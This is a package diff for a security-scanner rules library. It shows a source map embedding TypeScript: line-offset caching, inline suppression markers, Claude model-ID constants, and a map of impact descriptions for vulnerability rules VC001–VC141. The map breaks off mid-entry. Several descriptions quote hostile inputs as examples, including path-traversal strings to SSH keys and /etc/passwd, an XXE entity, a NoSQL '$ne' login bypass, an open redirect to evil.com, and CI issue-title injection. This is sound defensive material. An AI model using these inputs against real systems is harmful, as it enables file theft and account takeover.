xploitscan-shared-rules 2.0.1 → 2.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/dist/index.cjs +34 -9
- package/dist/index.cjs.map +1 -1
- package/dist/index.js +34 -9
- package/dist/index.js.map +1 -1
- package/package.json +2 -2
package/dist/index.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/snippet.ts","../src/silencing.ts","../src/models.ts","../src/rule-impacts.ts","../src/exposure.ts","../src/project-context.ts","../src/vendored.ts","../src/routes.ts","../src/intent.ts","../src/ast/parse.ts","../src/ast/taint.ts","../src/ast/traverse.ts","../src/rules.ts","../src/rule-counts.ts","../src/ai-fp-filter.ts","../src/entropy-scanner.ts","../src/url-recon.ts","../src/quality/context.ts","../src/quality/rules/silent-failed-read.ts","../src/quality/rules/silent-failed-write.ts","../src/quality/rules/state-before-effect.ts","../src/quality/rules/fail-open-secret-comparison.ts","../src/quality/rules/mouse-only-control.ts","../src/quality/rules/undeclared-modal.ts","../src/quality/rules/unbounded-list.ts","../src/quality/rules/unassociated-label.ts","../src/quality/rules/failed-read-empty-state.ts","../src/quality/rules/scope.ts","../src/quality/rules/autosave-armed-by-failed-load.ts","../src/quality/rules/config-skipped-work.ts","../src/quality/rules/stale-response-wins.ts","../src/quality/rules/lost-update-counter.ts","../src/quality/examples.ts","../src/quality/index.ts"],"sourcesContent":["/**\n * Line-oriented helpers shared by every rule. Pure string manipulation — no fs\n * dependency — so safe in the CLI and in serverless/edge environments.\n *\n * Performance note (security review, June 2026): rules call `getSnippet` and a\n * line-number lookup once PER match. Both used to do `content.split(\"\\n\")` /\n * `content.substring(0, idx).split(\"\\n\")`, which is O(content) per call. A\n * pathological single- or multi-line payload that produces O(content) matches\n * therefore drove O(content^2) CPU and pinned the public scan endpoint (a\n * remote DoS). We memoize the split + line-start offsets per content string\n * (rules run synchronously over one file at a time, so a by-reference cache of\n * size 1 hits for every match and every rule on that file). With the cache,\n * `getSnippet` is O(contextLines) and `lineNumberAt` is O(log lines) per call —\n * the whole scan is O(n log n) with byte-identical output to the old code.\n */\n\nlet cacheContent: string | null = null;\nlet cacheLines: string[] = [];\nlet cacheOffsets: number[] = []; // cacheOffsets[i] = char index where line i (0-based) starts\n\nfunction lineIndex(content: string): { lines: string[]; offsets: number[] } {\n if (content === cacheContent) return { lines: cacheLines, offsets: cacheOffsets };\n const lines = content.split(\"\\n\");\n const offsets = new Array<number>(lines.length);\n let off = 0;\n for (let i = 0; i < lines.length; i++) {\n offsets[i] = off;\n off += lines[i].length + 1; // +1 for the \"\\n\" that split removed\n }\n cacheContent = content;\n cacheLines = lines;\n cacheOffsets = offsets;\n return { lines, offsets };\n}\n\n/**\n * 1-based line number containing character `index`. Replaces the\n * `content.substring(0, index).split(\"\\n\").length` idiom (which was O(content)\n * per call) with an O(log lines) binary search over memoized line offsets.\n */\nexport function lineNumberAt(content: string, index: number): number {\n const { offsets } = lineIndex(content);\n let lo = 0;\n let hi = offsets.length - 1;\n let ans = 0;\n while (lo <= hi) {\n const mid = (lo + hi) >> 1;\n if (offsets[mid] <= index) {\n ans = mid;\n lo = mid + 1;\n } else {\n hi = mid - 1;\n }\n }\n return ans + 1;\n}\n\n/**\n * Return a small code snippet around a given line number with a `>` marker on\n * the matched line.\n */\nexport function getSnippet(\n content: string,\n line: number,\n contextLines = 2,\n): string {\n const { lines } = lineIndex(content);\n const start = Math.max(0, line - 1 - contextLines);\n const end = Math.min(lines.length, line + contextLines);\n\n const out: string[] = [];\n for (let i = start; i < end; i++) {\n const lineNum = i + 1;\n const marker = lineNum === line ? \">\" : \" \";\n out.push(`${marker} ${lineNum.toString().padStart(4)} | ${lines[i]}`);\n }\n return out.join(\"\\n\");\n}\n","/**\n * Inline finding suppression — the `// VC###-OK: <reason>` marker.\n *\n * Lives in its own module because both the regex rules (rules.ts) and the\n * entropy scanner (entropy-scanner.ts) need it, and this repo has been bitten\n * repeatedly by the same duplication pattern: `calculateGrade` had three\n * copies, the score→letter ladder had three, `NON_APP_PATH_PATTERNS` had two\n * that had already drifted. Import, don't restate.\n */\n\n/**\n * Check whether a finding has been silenced via an inline comment marker.\n *\n * Supported placements:\n * 1. Same line, trailing: `someCode(); // VC146-OK: magic-link token gates this`\n * 2. Comment block above: `// VC146-OK: magic-link token gates this`\n * `// (explanation may wrap across lines)`\n * `someCode();`\n * 3. Multi-line block: `/* VC146-OK: ... *\\/` above the match\n *\n * The marker is `<RULE-ID>-OK` (with optional `:` and explanation) or the\n * wildcard `scanner-OK`. Both `#` (Python/Ruby/sh) and `//` (JS/TS/Go)\n * comment prefixes are accepted.\n *\n * Rationale: some findings aren't a regex-tightening problem — they're \"I\n * have reviewed this and accept it here.\" An intentionally public OG-image\n * endpoint is genuinely unauthenticated; the rule is right and the developer\n * is also right. Loosening the regex would weaken the rule for everyone,\n * whereas an inline marker keeps the rule strict and gives one site an\n * explicit, self-documenting escape valve.\n *\n * Note this is deliberately NOT wired into findMatches() globally — that\n * would opt every rule in at once. Rules opt in individually, either by\n * calling this directly from their match loop or by passing their results\n * through filterSilenced().\n */\nexport function isInlineSilenced(content: string, matchIndex: number, ruleId: string): boolean {\n const lines = content.split(\"\\n\");\n const matchLineNum = content.substring(0, matchIndex).split(\"\\n\").length - 1;\n return isLineSilenced(lines, matchLineNum, ruleId);\n}\n\n/**\n * Line-indexed variant. The entropy scanner walks the file line by line and\n * never computes character offsets, so making it reconstruct one just to call\n * the index-based entry point would be wasted work on every finding.\n *\n * `lineIdx` is 0-based, matching `content.split(\"\\n\")`.\n */\nexport function isLineSilenced(lines: string[], lineIdx: number, ruleId: string): boolean {\n const matchLine = lines[lineIdx] ?? \"\";\n\n const marker = new RegExp(`(?://|/\\\\*|#)\\\\s*(?:${ruleId}|scanner)-OK\\\\b`, \"i\");\n if (marker.test(matchLine)) return true;\n\n // Walk up through the CONTIGUOUS comment block directly above the match,\n // not just the single preceding line. A developer justifying a suppression\n // usually writes a sentence or two, and checking only line-1 meant the\n // marker silently did nothing the moment the explanation wrapped — no\n // finding suppressed, and no warning that the comment had been ignored.\n // Stopping at the first non-comment line keeps this tight: a marker can\n // only ever apply to the statement its own comment block is attached to,\n // never to something further down the file.\n // `{/* ... *\\/}` is a comment to a JSX author but not to a regex anchored on\n // the comment opener, so the leading brace has to be tolerated. Getting this\n // wrong is not theoretical: the first version of this loop broke an existing,\n // working `{/* scanner-OK: ... *\\/}` suppression in our own dashboard, because\n // the line failed the comment test and the walk stopped before testing it.\n const COMMENT_LINE = /^\\s*[{(]?\\s*(?:\\/\\/|#|\\/\\*|\\*)/;\n const MAX_BLOCK_LINES = 20; // bounded so a file of pure comments stays cheap\n for (let i = lineIdx - 1, seen = 0; i >= 0 && seen < MAX_BLOCK_LINES; i--, seen++) {\n const line = lines[i] ?? \"\";\n // Test BEFORE deciding whether to continue. The line immediately above the\n // match is always checked, which is the behaviour this function had before\n // the block walk existed — the walk is strictly additive, and must not be\n // able to reject a placement that used to work.\n if (marker.test(line)) return true;\n if (!COMMENT_LINE.test(line)) break;\n }\n return false;\n}\n","/**\n * Claude model IDs — the single place they are written down.\n *\n * There used to be three copies of \"which model do we call\", in three\n * packages, each with its own literal. One of them (`ai-analyzer.ts`) sat on\n * `claude-sonnet-4-5-20250514` for long enough that the model went two\n * generations stale without anyone noticing, because nothing in the repo\n * pointed at it. That is the same duplication defect that produced three\n * copies of `calculateGrade` and two of `NON_APP_PATH_PATTERNS`.\n *\n * The lesson recorded in docs/BACKLOG.md applies exactly:\n * \"Import, don't restate — a shared function makes drift unexpressible,\n * whereas a guard only catches it afterwards.\"\n *\n * So: import from here. `scripts/check-model-ids.js` fails CI on any Claude\n * model literal written anywhere else, and on a stale review date below.\n */\n\n/**\n * Deep analysis — open-ended discovery over up to 50KB of source at a time.\n *\n * Why Sonnet and not Haiku: this call *invents* findings rather than judging\n * ones it was handed, and whatever it returns is pushed onto the finding list\n * that `calculateGrade()` scores. A wrong finding here becomes a wrong letter\n * grade shown to someone who, by construction, cannot tell a bogus finding\n * from a real one — the audience is non-expert developers. It also runs on the\n * *user's* own ANTHROPIC_API_KEY in the CLI (see `analyzeWithAI`), so the\n * cost of the stronger model is not ours to optimise away.\n */\nexport const MODEL_ANALYSIS = \"claude-sonnet-5\";\n\n/**\n * High-volume narrow judgment — \"is this specific finding a false positive?\"\n * and \"answer this questionnaire item from these facts\".\n *\n * Haiku is the right tier: the task is bounded, the finding is handed to the\n * model rather than discovered by it, and the call count scales with findings\n * (one per file batch, many per scan). Pinned to a dated release deliberately\n * — this one runs on OUR key against user-visible output, and a silent model\n * swap underneath a filter that can *hide* a real vulnerability is not a\n * change we want to arrive unannounced.\n */\nexport const MODEL_TRIAGE = \"claude-haiku-4-5-20251001\";\n\n/**\n * Last time a human checked these against the current model line-up.\n *\n * `scripts/check-model-ids.js` FAILS once this is more than\n * MODEL_REVIEW_INTERVAL_DAYS old. That is deliberate: a warning in CI is a\n * warning nobody reads, and \"we fell two generations behind without noticing\"\n * is the exact failure this module exists to prevent.\n *\n * To clear it: re-read https://docs.claude.com/en/docs/about-claude/models,\n * update the IDs above if the line-up moved, and set today's date here.\n */\nexport const MODEL_POLICY_REVIEWED = \"2026-09-15\";\n\n/** How long a review stays fresh before CI asks for another one. */\nexport const MODEL_REVIEW_INTERVAL_DAYS = 180;\n\n/**\n * Sampling is pinned to 0 at every call site, and extended thinking is\n * deliberately NOT enabled at any of them.\n *\n * Both follow from the same requirement: a user who scans the same unchanged\n * commit twice must get the same letter grade, with no explanation needed for\n * why it moved. Extended thinking requires temperature 1, so enabling it\n * would trade that guarantee away. If a future call site does not feed a\n * grade, it is free to make the opposite choice — but it should say so.\n */\nexport const MODEL_TEMPERATURE = 0;\n","/**\n * Real-world consequence descriptions for VC### rules.\n *\n * Surfaced in the scan results UI (\"Impact:\" line) and in the AI summary\n * email so users understand *why* a finding matters, not just what it is.\n *\n * Lives in shared-rules so the CLI, the web API, the standalone API, and any\n * future surface read the same copy. Previously this map was duplicated\n * inline inside both API entrypoints — the kind of place the\n * `totalRules: 158` drift bug came from.\n *\n * Adding a rule? Add its impact string here so it shows up everywhere at\n * once. If a rule has no entry, the UI falls back to the rule description.\n */\nexport const RULE_IMPACTS: Record<string, string> = {\n VC001: \"An attacker who finds this key in your source code or client bundle can use your API with your credentials, potentially reading or modifying user data and racking up usage charges.\",\n VC002: \"If this .env file is committed to git, anyone with repo access (including public repos) can extract your database passwords, API keys, and other secrets.\",\n VC003: \"This API endpoint has no authentication check. Anyone on the internet can call it directly, potentially accessing or modifying data without permission.\",\n VC004: \"The service_role key bypasses all Row Level Security policies. If exposed client-side, any user can read, modify, or delete any row in your database.\",\n VC005: \"Without webhook signature verification, an attacker can send fake payment events to your endpoint — granting free access, duplicating orders, or corrupting billing data.\",\n VC006: \"An attacker can inject malicious SQL through user input, potentially dumping your entire database, modifying records, or deleting tables.\",\n VC007: \"An attacker can inject JavaScript that runs in other users' browsers, stealing session cookies, redirecting to phishing pages, or performing actions as the victim.\",\n VC008: \"Without rate limiting, an attacker can flood your API with requests causing denial of service, brute-force attacks, or excessive cloud billing.\",\n VC009: \"With CORS set to allow all origins, any website can make authenticated requests to your API from a user's browser, enabling cross-site data theft.\",\n VC010: \"Hiding UI elements without server-side checks means an attacker can call your API directly and bypass the restriction entirely.\",\n VC011: \"The NEXT_PUBLIC_ prefix exposes this value in the browser bundle. If it's a secret, anyone viewing your site's JavaScript can extract it.\",\n VC012: \"While Firebase API keys aren't strictly secret, an unrestricted key lets attackers abuse your project's quotas, run up Firebase costs, or hit endpoints that should be locked down by App Check or HTTP referrer rules.\",\n VC013: \"Performing privileged operations with the anon key either fails outright or silently bypasses RLS in unsafe ways, leading to leaked rows or broken auth checks that any logged-in user can exploit.\",\n VC014: \"An unignored .env file gets committed on the next git add, leaking database passwords, API keys, and OAuth secrets to anyone with repo access — including the entire internet if the repo is public.\",\n VC015: \"If any user-controlled string reaches eval() or new Function(), an attacker gets arbitrary JavaScript execution in your app — full session takeover in the browser, or RCE on the server in Node.\",\n VC016: \"An attacker can craft a link from your domain that redirects victims to a phishing page or malware download, abusing your domain's trust to bypass user suspicion and email filters.\",\n VC017: \"Cookies missing httpOnly can be stolen by any XSS payload; missing secure leaks them over HTTP; missing sameSite enables cross-site request forgery against logged-in users.\",\n VC018: \"A leaked Clerk, Auth0, or NextAuth secret key lets an attacker mint valid sessions for any user in your app, fully impersonating accounts and bypassing every authentication check.\",\n VC019: \"With nodeIntegration on or contextIsolation off, any XSS in your renderer becomes RCE on the user's machine — the page can require('child_process') and run shell commands as the user.\",\n VC020: \"Without a CSP, a single XSS bug becomes catastrophic — the attacker can load scripts from anywhere, exfiltrate data to their own server, and inject keyloggers with no browser-side defense in depth.\",\n VC021: \"An attacker-controlled path (../../../.ssh/id_rsa) sent through IPC lets the renderer read or overwrite arbitrary files on disk — SSH keys, .env files, browser cookie databases.\",\n VC022: \"Stored XSS in exported HTML lets an attacker who plants malicious content in a document run JavaScript in every viewer's browser — stealing tokens, hijacking the renderer, or pivoting via Electron APIs.\",\n VC023: \"By sending a JSON body with __proto__ or constructor.prototype, an attacker can corrupt every object in your process — bypassing auth checks, mutating config flags, or triggering RCE through gadget chains in popular libraries.\",\n VC024: \"An attacker (or a buggy client) uploading multi-gigabyte payloads can fill your disk or exhaust process memory, taking the service down for everyone.\",\n VC025: \"A filename like ../../etc/passwd or one containing shell metacharacters lets an attacker overwrite files outside the upload directory or inject commands when the filename is later passed to a shell.\",\n VC026: \"A malicious link inside the app can navigate the entire window away from your trusted UI to a phishing site that looks identical, harvesting credentials or pushing fake updates.\",\n VC027: \"Without X-Content-Type-Options: nosniff and similar headers, browsers may execute uploaded files as scripts and leak full referrer URLs containing tokens to third parties.\",\n VC028: \"When user input controls API URLs, model names, or keys without validation, attackers can redirect calls to their own endpoint, swap to expensive models on your bill, or smuggle in injected parameters.\",\n VC029: \"Code that trusts postMessage or custom event payloads without origin/type checks lets any embedded iframe or extension trigger sensitive actions in your app's context.\",\n VC030: \"Deserializing attacker-controlled pickle, YAML, or PHP unserialize data is straight-line RCE — published gadget chains turn a single POST into a remote shell on your server.\",\n VC031: \"Anyone who reads the source can sign their own JWTs, forging tokens for any user including admins. There is no way to detect the forgery server-side.\",\n VC032: \"Without HSTS and HTTPS enforcement, an attacker on the network (coffee shop wifi, malicious ISP) can intercept the first request, downgrade to HTTP, and steal session cookies and credentials.\",\n VC033: \"Debug mode exposes stack traces, environment variables, and internal routes — handing attackers a map of your stack, your secrets, and often a remote shell via a debug REPL endpoint.\",\n VC034: \"Math.random() output is predictable from a few samples. Tokens, password reset codes, and session IDs generated this way can be guessed, letting an attacker take over accounts.\",\n VC035: \"A link like yourapp.com/login?next=evil.com sent in a phishing email looks legitimate to the victim and to email filters, but lands them on the attacker's site after login.\",\n VC036: \"Uncaught React errors render raw stack traces to users, leaking file paths, component names, and sometimes secrets from props — a free recon gift to an attacker probing your app.\",\n VC037: \"Stack traces in API responses reveal your file structure, library versions, and ORM internals, letting attackers fingerprint known CVEs and craft targeted exploits.\",\n VC038: \"Validating only the file extension lets an attacker upload a .jpg that is actually a PHP webshell or HTML with embedded scripts, leading to stored XSS or RCE when the file is served.\",\n VC039: \"Without a lockfile, every install resolves fresh versions — a typosquatted or compromised dependency upgrade lands in production without anyone noticing, exactly the vector behind several recent npm supply-chain attacks.\",\n VC040: \"An exposed .git directory lets anyone download your entire repository — every secret you ever committed (even ones you thought you removed), full source code, and commit history.\",\n VC041: \"An attacker can make your server fetch internal URLs like http://169.254.169.254/ (AWS metadata) or http://localhost:5432, exfiltrating cloud credentials or pivoting to internal services.\",\n VC042: \"Spreading req.body into a User.create() lets an attacker register with isAdmin: true or set verified: true on their own account, escalating privileges with a single request.\",\n VC043: \"An attacker can recover an API key or session token one byte at a time by measuring response time differences, eventually guessing the full secret without ever seeing it.\",\n VC044: \"An attacker injecting newlines into log messages can forge fake log entries to cover their tracks, spoof other users' actions, or break log parsers and SIEM rules.\",\n VC045: \"Allowing 6-character or dictionary passwords means most accounts fall in seconds to a credential-stuffing list, leading to mass account takeover.\",\n VC046: \"Without session ID rotation on login, an attacker who tricks a victim into using a known session ID is then logged in as the victim once they authenticate — full account takeover.\",\n VC047: \"Without lockout or rate limiting, an attacker can throw millions of leaked credential pairs at /login until they find ones that work, taking over user accounts en masse.\",\n VC048: \"MongoDB operators in JSON bodies ({\\\"password\\\": {\\\"$ne\\\": null}}) bypass login checks entirely, dump collections, or modify documents — the NoSQL equivalent of SQL injection.\",\n VC049: \"Database credentials in committed config files give anyone with repo access a direct connection string to production — read all data, modify any row, drop tables.\",\n VC050: \"Without TLS, database passwords and every row of data crosses the network in plaintext, readable by anyone tapping the connection — including cloud providers' internal logs.\",\n VC051: \"With introspection on, any unauthenticated user can dump your full GraphQL schema — every field, every mutation, every internal type — handing attackers a complete attack surface map.\",\n VC052: \"An attacker posting a 10GB JSON body to your API exhausts process memory and crashes the server, taking your app offline with one curl command.\",\n VC053: \"Hardcoded IPs in allowlists become stale and either grant access to whoever now holds the address or break legitimate users when infrastructure rotates — both end in a security incident.\",\n VC054: \"Any XSS bug — even one in a third-party script — can read every token in localStorage and send it to an attacker. Stolen tokens often have no expiry and survive password resets.\",\n VC055: \"A .map file in production lets anyone download the original, unminified source code of your app — including comments, internal class names, and any logic you assumed was hidden by minification.\",\n VC056: \"Without frame-ancestors or X-Frame-Options, an attacker can iframe your app under a fake UI, tricking logged-in users into clicking buttons that perform real actions on their account.\",\n VC057: \"Wildcard IAM permissions mean a single compromised credential — a leaked CI token, an SSRF-leaked metadata role — gives the attacker full account takeover, including the ability to delete every resource.\",\n VC058: \"A vulnerability in your app or any container library becomes root inside the container. Combined with a kernel exploit or a misconfigured volume mount, that's host root.\",\n VC059: \"Binding to 0.0.0.0 on a developer laptop or shared server exposes Postgres, Redis, or Mongo to anyone on the local network — typically with no password, since it was meant to be local-only.\",\n VC060: \"MD5/SHA-256 password hashes can be cracked at billions of attempts per second on a GPU. A leaked database means every user's password is recovered within hours, ready for credential stuffing.\",\n VC061: \"With certificate verification off, any attacker on the network path can transparently intercept HTTPS calls — stealing API keys, modifying webhook responses, or returning poisoned data from upstream services.\",\n VC062: \"A hardcoded encryption key in source code means every encrypted record in the database is decrypt-able by anyone with repo access. A reused IV in CBC/GCM modes also leaks plaintext directly.\",\n VC063: \"dangerouslySetInnerHTML on user-controlled strings is XSS-by-design — an attacker who lands content in your database (a comment, a profile bio, a chat message) gets script execution in every viewer's browser.\",\n VC064: \"Server Actions are publicly callable URLs even though they look like function calls. Without auth checks, any visitor can invoke them with arbitrary args, bypassing every UI restriction.\",\n VC065: \"An unauthenticated /api/ route is just a public URL — attackers find them via bundle analysis or wordlists and call them directly to read or modify data.\",\n VC066: \"Once a secret reaches a 'use client' component, Next.js inlines it into the JavaScript bundle. Anyone visiting the site can extract it from the page source and use your API as you.\",\n VC067: \"Custom URL scheme handlers that act on parameters without validation let any webpage or app trigger sensitive actions — opening attacker URLs in your auth context, transferring funds, or wiping data.\",\n VC068: \"AsyncStorage is plaintext on disk. A jailbroken phone, a forensic backup, or a malicious app on Android with debug access can read every stored token, password, or API key.\",\n VC069: \"Without certificate pinning, anyone who can install a custom CA on the device (corporate MDM, compromised phone, malicious VPN) can decrypt all traffic to your API and modify responses.\",\n VC070: \"android:debuggable=\\\"true\\\" in production lets anyone with adb access attach a debugger, dump memory containing tokens and PII, and bypass any client-side security check in the app.\",\n VC071: \"DEBUG=True in production renders Django's yellow error page on every exception — exposing source code lines, the full settings dictionary (including SECRET_KEY and database URLs), and installed apps.\",\n VC072: \"A hardcoded Flask SECRET_KEY lets anyone with the source forge session cookies and CSRF tokens for any user, fully impersonating accounts including admins.\",\n VC073: \"pickle.loads() on untrusted input is RCE-by-design — published one-line payloads spawn a reverse shell. If any user-controlled bytes reach pickle, your server is compromised.\",\n VC074: \"Disabling CSRF on a state-changing view lets an attacker's website trigger requests in the victim's browser — transferring funds, changing email, deleting data — all using the victim's logged-in session.\",\n VC075: \"Writing ${{ github.event.issue.title }} into a run: block executes whatever shell payload an attacker puts in an issue title — running with your repo's secrets and write tokens, leading to repo takeover.\",\n VC076: \"Hardcoded tokens in CI YAML are visible in every fork, every PR diff, and every public Action run log — attackers scrape these constantly and use the credentials within minutes of commit.\",\n VC077: \"Wildcard CORS in serverless config combined with credentials means any attacker site can read authenticated responses from your API using the victim's cookies — full data theft.\",\n VC078: \"A privileged container is essentially root on the node — kernel modules can be loaded, the host filesystem can be mounted, and pivoting to other pods or stealing kubelet credentials is trivial.\",\n VC079: \"A JWT library that accepts alg:none lets an attacker strip the signature from a token, change the user ID to admin, and the server treats it as valid — instant privilege escalation.\",\n VC080: \"A regex like (a+)+$ on a 30-character malicious input takes minutes of CPU to evaluate. An attacker sends a few of these and your single Node.js process is stuck — DoS with no bandwidth needed.\",\n VC081: \"An XML parser with external entities enabled lets an attacker include <!ENTITY xxe SYSTEM \\\"file:///etc/passwd\\\"> in a SOAP/SAML payload, reading server files or pivoting to internal HTTP services.\",\n VC082: \"Rendering a Jinja2/Handlebars/EJS template from a user-controlled string is RCE — attackers can break out of the template syntax to execute Python or Node code in the server process.\",\n VC083: \"Java deserialization with Apache Commons or Spring on the classpath is essentially guaranteed RCE — public gadget chains turn a single readObject call into a remote shell.\",\n VC084: \"Without integrity= on a CDN script tag, a CDN compromise (or a takeover of an unmaintained domain) means attacker-controlled JS runs in every visitor's browser as if you served it.\",\n VC085: \"Open admin or actuator endpoints often expose env vars, heap dumps, or thread state — and many ship with default-credential admin UIs that take over the application with no exploit needed.\",\n VC086: \"ws:// transmits messages in plaintext. Anyone on the network — public wifi, malicious ISP, an MITM proxy — can read or modify chat messages, real-time data, or auth handshakes.\",\n VC087: \"Without HSTS, a single user typing yourdomain.com (defaulting to HTTP) lets an MITM attacker intercept the redirect, downgrade the connection, and steal cookies before HTTPS ever happens.\",\n VC088: \"Tokens in URLs end up in web server access logs, the browser's history, the Referer header sent to every third-party script, and bookmarks — a long, lossy trail of credential exposure.\",\n VC089: \"Without Content-Disposition: attachment, an uploaded HTML file is rendered inline at your origin — making file uploads a stored XSS vector against any user who clicks the download link.\",\n VC090: \"A spoofed Host header in the request reflects into a redirect URL, sending password-reset emails or OAuth callbacks to an attacker-controlled host that captures the token.\",\n VC091: \"TOCTOU race conditions let an attacker swap a file (or database row) between your check and your action — e.g. checking permissions on a path then opening it after a symlink is swapped in.\",\n VC092: \"Spreading req.body into objects you later use as lookups (settings, permissions, options) lets an attacker pollute the prototype chain — every object in the process now inherits attacker-set properties.\",\n VC093: \"An attacker requesting filename=../../../etc/passwd reads any file the server process can access, including .env files, SSH keys, and other tenants' uploaded data on shared hosts.\",\n VC094: \"Any user-controlled string reaching exec() or system() means an attacker runs arbitrary shell commands on your server — installing backdoors, dumping the database, or pivoting into your VPC.\",\n VC095: \"A localhost CORS allowlist trusts anything running on the user's machine — including malicious browser extensions or local development servers spun up by other apps to phish your API.\",\n VC096: \"Insecure gRPC channels send service-to-service traffic in plaintext, including any auth tokens in metadata — a compromised pod or a network sniffer reads everything.\",\n VC097: \"console.log statements left around can leak tokens, PII, and internal IDs into the browser console — visible to any user, browser extension, or screen-recording tool, and to anyone reviewing console output during support sessions.\",\n VC098: \"readFileSync in a request handler blocks Node's single event loop. One slow disk read holds up every concurrent request, turning normal load into a cascading outage.\",\n VC099: \"Each re-render adds another listener that's never removed — over time the page leaks memory, slows down, and eventually crashes the tab on long-running screens like dashboards.\",\n VC100: \"An N+1 query pattern means a list of 1,000 items triggers 1,000+ database round-trips. Pages that work in dev with 10 rows time out in production and crush the database under load.\",\n VC101: \"Importing all of lodash or moment adds 70-300KB to every page load. Mobile users on slow networks see your app freeze for seconds before any UI appears.\",\n VC102: \"Heavy synchronous work on the main thread freezes the browser's UI — buttons stop responding, scroll jitters, and users mash refresh, often hitting your API harder than necessary.\",\n VC103: \"TODO/FIXME comments often mark known-broken security or correctness paths that were meant to be fixed before launch and were forgotten — an attacker grepping the source bundle can find them as fast as you can.\",\n VC104: \"Silently swallowing errors hides bugs that cause data loss, failed payments, or security check bypasses — by the time a user complains, you've lost the diagnostic trail.\",\n VC105: \"Deeply nested promise chains are a major source of subtle bugs (missed catches, wrong error context) and slow incident response — the next on-call engineer can't read it during an outage.\",\n VC106: \"Magic numbers like if (status == 7) hide intent and make safe refactors impossible — when the meaning of 7 changes, every callsite has to be hunted down by hand.\",\n VC107: \"Without S3 server-side encryption, a misconfigured bucket policy or a stolen backup tape means data sits at rest in the clear — failing SOC 2, HIPAA, and GDPR controls during audits.\",\n VC108: \"0.0.0.0/0 on all ports means your EC2/RDS/ElastiCache instance is reachable from the entire internet. Internet-wide scanners find it in minutes and start credential-stuffing default ports.\",\n VC109: \"A publicly accessible RDS instance is one weak password (or one CVE in the DB engine) away from full database compromise — and they're constantly probed by automated scanners.\",\n VC110: \"Without CloudTrail, a compromised AWS credential leaves no audit trail — you can't tell what the attacker accessed, whether they're still in, or what data was exfiltrated.\",\n VC111: \"Lambda outside a VPC can't reach private RDS or ElastiCache safely without exposing them publicly, and lacks the network controls that contain blast radius if the function is exploited.\",\n VC112: \"FROM node:latest builds a different image every week. A breaking upstream change crashes production at 2am, or a poisoned tag silently swaps in malicious code on the next deploy.\",\n VC113: \"COPY . . without a .dockerignore bakes your .env, .git history, and editor swap files into the published image — anyone who pulls the image extracts every secret you've ever committed.\",\n VC114: \"Each exposed port is one more thing to misconfigure. Forgotten debug or admin ports (Redis 6379, Elastic 9200, Mongo 27017) are the most common entry point in cloud breaches.\",\n VC115: \"base64 is encoding, not encryption. A leaked Kubernetes manifest or kubectl get secret access from a compromised pod hands the attacker every credential in the namespace in plaintext.\",\n VC116: \"A pod without resource limits can OOM-kill its neighbors, hog every CPU on the node, or spiral into infinite memory growth that takes the whole cluster's noisy-neighbor protection down.\",\n VC117: \"User input in a file path lets attackers read /etc/passwd, app source code, or other tenants' files; in write contexts it overwrites system binaries or config to gain code execution on next run.\",\n VC118: \"PII in logs ends up in CloudWatch, Datadog, Sentry, and engineer laptops — multiplying the surface area of any breach and triggering GDPR/HIPAA breach-notification obligations even if the app DB is intact.\",\n VC119: \"A leaked OAuth client_secret lets an attacker impersonate your application, exchanging codes for tokens and acting as your app against any user who has previously authorized — silent account takeover.\",\n VC120: \"Without a state parameter in OAuth, an attacker can stitch a victim's session to the attacker's account (account injection), or CSRF the callback to attach the attacker's identity to the victim.\",\n VC121: \"An action pinned to @main runs whatever the maintainer (or anyone who compromises the repo) pushes next. Pin to a SHA so a supply-chain compromise of a third-party action can't push code into your CI.\",\n VC122: \"TLS 1.0/1.1 are vulnerable to BEAST, POODLE, and Lucky 13. Modern compliance frameworks (PCI DSS, HIPAA) explicitly forbid them and audits will fail until disabled.\",\n VC123: \"A 1024-bit RSA key is within reach of well-funded attackers and trivial to factor by 2030. Any key signing tokens or TLS certs needs to be 2048-bit minimum, ideally 3072+.\",\n VC124: \"ECB mode encrypts identical blocks identically, so patterns in the plaintext (think the famous ECB-encrypted Linux penguin) leak through ciphertext — useless for any real data.\",\n VC125: \"Predictable reset tokens, tokens that don't expire, or username-enumeration in the reset flow let attackers take over accounts via the password-reset endpoint without ever knowing the original password.\",\n VC126: \"Terraform state files contain plaintext copies of every resource attribute — RDS passwords, IAM keys, TLS private keys. Committing one to git is equivalent to leaking your full infrastructure credentials.\",\n VC127: \"Unauthenticated DELETE/PUT/PATCH endpoints let any internet user destroy or modify data — the most common 'how was your whole user table wiped overnight' incident.\",\n VC128: \"Manually parsing Content-Length and Transfer-Encoding behind a CDN or load balancer can desync the proxy and origin, letting attackers smuggle requests that bypass auth or hit other users' sessions.\",\n VC129: \"Storing SSNs, credit cards, or health data unencrypted at the column level means a single read-only DB leak (backup, replica, log) is a full PII breach with mandatory disclosure and major regulatory fines.\",\n VC130: \"Without rate limiting on auth routes, attackers throw credential lists at /login or trigger thousands of password-reset emails to specific accounts — credential stuffing and email-bombing on demand.\",\n VC131: \"A dependency with a known CVE means a public exploit may already work against your app. Attackers scan for vulnerable versions of common libraries and pivot in within hours of disclosure.\",\n VC132: \"A leaked Anthropic API key lets attackers run unlimited Claude API calls on your account — burning through your quota in hours and racking up thousands of dollars in charges before you notice.\",\n VC133: \"A leaked GitHub PAT gives attackers read/write access to your repos depending on scopes — they can push backdoored commits, steal private code, exfiltrate Actions secrets, and pivot to npm publish tokens stored as repo secrets.\",\n VC134: \"A leaked SendGrid key lets attackers send email from your verified domain — phishing your customers from a real-looking address that passes SPF/DKIM/DMARC and shreds your sender reputation.\",\n VC135: \"A leaked Slack token reads your workspace's messages and channel history — exposing internal conversations, customer data shared in support channels, and any secrets pasted in DMs (which is most secrets, in practice).\",\n VC136: \"A leaked GCP service account JSON is project-level access — depending on roles, attackers can spin up cryptominers, dump every Cloud Storage bucket, or escalate to organization admin.\",\n VC137: \"A leaked Shopify access token exposes your full store: customer PII (names, emails, addresses), order history, payment data scope, and the ability to modify products or refund orders.\",\n VC138: \"A leaked GitLab token grants repository and pipeline access — attackers push commits, trigger CI to run malicious code with all your CI secrets, and exfiltrate any private project the token can see.\",\n VC139: \"A leaked Twilio key sends premium-rate SMS and international calls on your dime — toll fraud cases regularly hit five figures overnight before account locks kick in.\",\n VC140: \"A leaked Mailgun key sends email from your domain — attackers launch phishing campaigns that pass DMARC because they really do come from you, destroying your sender reputation and customer trust.\",\n VC141: \"A leaked Datadog key exposes logs, metrics, traces, and infrastructure topology — attackers map your entire stack, find vulnerable services from APM data, and grep logs for the next set of 